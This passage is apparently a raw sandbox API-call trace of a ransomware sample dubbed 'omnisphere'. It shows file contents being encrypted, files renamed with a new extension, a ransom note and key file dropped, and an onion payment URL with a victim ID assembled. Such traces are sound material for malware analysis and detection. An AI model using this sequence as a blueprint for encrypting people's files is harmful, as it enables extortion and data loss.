pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.971] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.972] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.972] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0118.972] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.972] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.972] GetProcessHeap () returned 0x1600000 [0118.972] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16b05d0 [0118.972] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4vvwnb6.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4vvwnb6.lnk.omnisphere")) returned 1 [0118.973] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk.omnisphere.id" [0118.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4vvwnb6.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.974] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.975] CloseHandle (hObject=0x3c0) returned 1 [0118.976] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.976] CloseHandle (hObject=0x288) returned 1 [0118.976] SetEndOfFile (hFile=0x28c) returned 1 [0118.976] FlushFileBuffers (hFile=0x28c) returned 1 [0118.981] CloseHandle (hObject=0x28c) returned 1 [0118.981] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.981] GetProcessHeap () returned 0x1600000 [0118.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b0880 [0118.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.981] GetProcessHeap () returned 0x1600000 [0118.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693e18 [0118.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693e18, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.981] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.981] GetProcessHeap () returned 0x1600000 [0118.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686e48 [0118.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686e48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.981] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.981] GetProcessHeap () returned 0x1600000 [0118.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1840 [0118.981] PathCombineW (in: pszDest=0x16a1840, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.981] GetProcessHeap () returned 0x1600000 [0118.981] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a96a8 [0118.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.982] WriteFile (in: hFile=0x28c, lpBuffer=0x16a96a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a96a8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.982] CloseHandle (hObject=0x28c) returned 1 [0118.982] GetProcessHeap () returned 0x1600000 [0118.982] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b0880 | out: hHeap=0x1600000) returned 1 [0118.982] GetProcessHeap () returned 0x1600000 [0118.982] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.982] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.982] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.982] CloseHandle (hObject=0x28c) returned 1 [0118.983] GetProcessHeap () returned 0x1600000 [0118.983] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.983] GetProcessHeap () returned 0x1600000 [0118.983] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165dfa8 | out: hHeap=0x1600000) returned 1 [0118.983] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223655ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x223655ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x223655ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0xd3, cFileName="5Fvi.lnk", cAlternateFileName="")) returned 1 [0118.983] GetProcessHeap () returned 0x1600000 [0118.983] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165eb88 [0118.983] PathCombineW (in: pszDest=0x165eb88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="5Fvi.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk" [0118.983] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5fvi.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.983] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1372) returned 1 [0118.983] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.983] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.983] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55c, lpName=0x0) returned 0x288 [0118.983] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0118.984] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.984] CloseHandle (hObject=0x288) returned 1 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.984] GetTickCount () returned 0x115dbb6 [0118.985] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0118.985] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.985] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.985] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.985] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0118.985] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55c, lpName=0x0) returned 0x288 [0118.985] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55c) returned 0x1480000 [0118.985] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668c58) returned 1 [0118.986] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.986] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.986] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 